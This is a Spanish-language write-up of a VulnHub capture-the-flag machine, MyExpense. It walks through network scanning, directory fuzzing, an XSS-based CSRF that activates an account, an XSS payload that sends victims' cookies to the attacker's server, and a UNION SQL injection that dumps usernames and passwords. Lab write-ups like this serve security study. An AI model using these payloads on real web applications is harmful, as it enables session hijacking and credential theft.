MyExpense

Introducción

Información de la Máquina Virtual

• Nombre: MyExpense
• Autor: Sh4rpf0rc3
• Nivel de Dificultad: Fácil
• Descripción:

• Escenario:

Paso 0: Instalación/Despliegue

• Descargamos la máquina desde la web de VulnHub (opens in a new tab).
• Le damos doble clic a la ova descargada
• Cambiamos el adaptador de red a adaptador puente
• Encendemos la maquina

Paso 1: Reconocimiento

Escaneo de la Red

Primero realicé un escaneo de los dispositivos de la red para identificar nuestro objetivo.

arp-scan -I etho -l

mkdir MyExpense
cd MyExpense
mkt

Ahora en la carpeta de nmap realizo un escaneo inicial para identificar los puertos abiertos y exportarlos a un archivo.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.222 -oG allPorts

Resultados del Escaneo:

Para proseguir con la extracción de los puertos que estaban abiertos del archivo y también para el escaneo de los servicios que corren.

extractPorts allPorts
nmap -sCV -p80 192.168.100.222 -oN targeted

Resultado:

Enumeración de Servicios

Ahora se enumeran los directorios de la página web que descubrimos por tener abierto el puerto 80.

gobuster dir -u http://192.168.100.222/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t20

Resultados:

Esto nos índica que hay un directorio llamado admin y que este tiene suma importancia. Para proseguir con un escaneo de los archivos php que pudiera tener este directorio

gobuster dir -u http://192.168.100.222/admin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t20 -x php

Resultado:

Esto nos índica que hay un archivo llamado admin.php en la dirección http://192.168.100.222/admin/

Paso 2: Explotación

Primero accedemos a la página que descubrimos gracias al fuzzing 192.168.100.224/admin/admin.php al tratar de dar clic al botón de Inactive para activarlo vemos que no es posible, pero notamos una vulnerabilidad al hacer la activación, ya que esta se hace por la petición http://192.168.100.225/admmin/admin.php?id=11&status=active

resulta que la pagina si es vulnerable al xss.

Lo primero que intentaremos es insertar el código para que nos haga una csrf y valide al usuario al mandar la petición get de activación. Código usado:

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.225/admin/admin.php?id=11&status=active');
request.send();

Al ver la consola nuestro intento fue exitoso

Y listo la activación del usuario por medio del Xss funciona, ya que podemos iniciar sesión con las credenciales que ya tenemos,

El proceso que se realizara es el Cookie hijacking. De igual manera se inserta código en este input para que se haga una petición a nuestro servido local y acceda al código siguiente:

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.100.214/?cookie=' + document.cookie);
request.send();

Y listo ya tenemos los inicios de sesión de 3 usuarios

Ahora se puede observar una tabla de los usuarios administradores la cual están muy vulnerable a SQLi

se tiene que agregar estos parámetros a la url para que nos muestre los usuarios y contraseñas

• http://192.168.100.226/site.php?id=2 union select,group_concat(username,0x3a,password) from user-- -

Hay que al agregarle los saltos de línea y separaciones a estas contraseñas y quedaría algo así:

Y listo, el inicio de sesión con este usuario fue exitoso y también se logró aceptar el pago

Para finalizar tenemos que iniciar sesión con el usuario de samuel y listo nos aparece la flag

Notas

• La máquina la resolví la fecha indicada, pero hacer este “reporte” fue más tardado de lo que esperaba
• Por el transcurso de los días la ip de la máquina objetivo vario en los comandos